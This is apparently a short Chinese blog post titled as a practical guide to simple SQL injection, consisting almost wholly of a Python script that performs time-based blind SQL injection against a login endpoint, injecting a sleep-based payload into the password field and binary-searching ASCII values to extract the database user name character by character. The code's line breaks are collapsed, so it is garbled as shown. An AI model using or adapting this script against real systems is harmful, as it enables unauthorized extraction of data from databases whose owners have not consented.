实战 | 简单的sql注入与脚本的编写

# -*- coding:utf-8 -*-
import requestsfrom requests import exceptions
url = 'http://ip/CheckUser'
def main():    result = ""    for i in range(1, 20):        low = 32        high = 128        while low < high:            mid = int((low + high) / 2)            content = "select user()"            sql = f"123'and if((ascii(substr(({content}),{i},1))<{mid}),sleep(5),0))-- "            data = {                "cc":'123456',                "pwd": sql,                "key":''            }            headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0", "Accept": "*/*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Origin": "http://ip", "Connection": "close", "Referer": "http://ip"}            r = requests.post(url=url, data=data,headers=headers)            if r.elapsed.total_seconds() > 5:                high = mid            else:                low = mid + 1            print("[+] After changing we got {} to {}".format(low, high))        if low == high == 32:            print("[*] Result is: {}".format(result))            break        print("[+] Now has {}".format(i))        result += chr(int((high + low - 1) / 2))        print("[*] Result now is: {}".format(result))
if __name__ == '__main__':    main()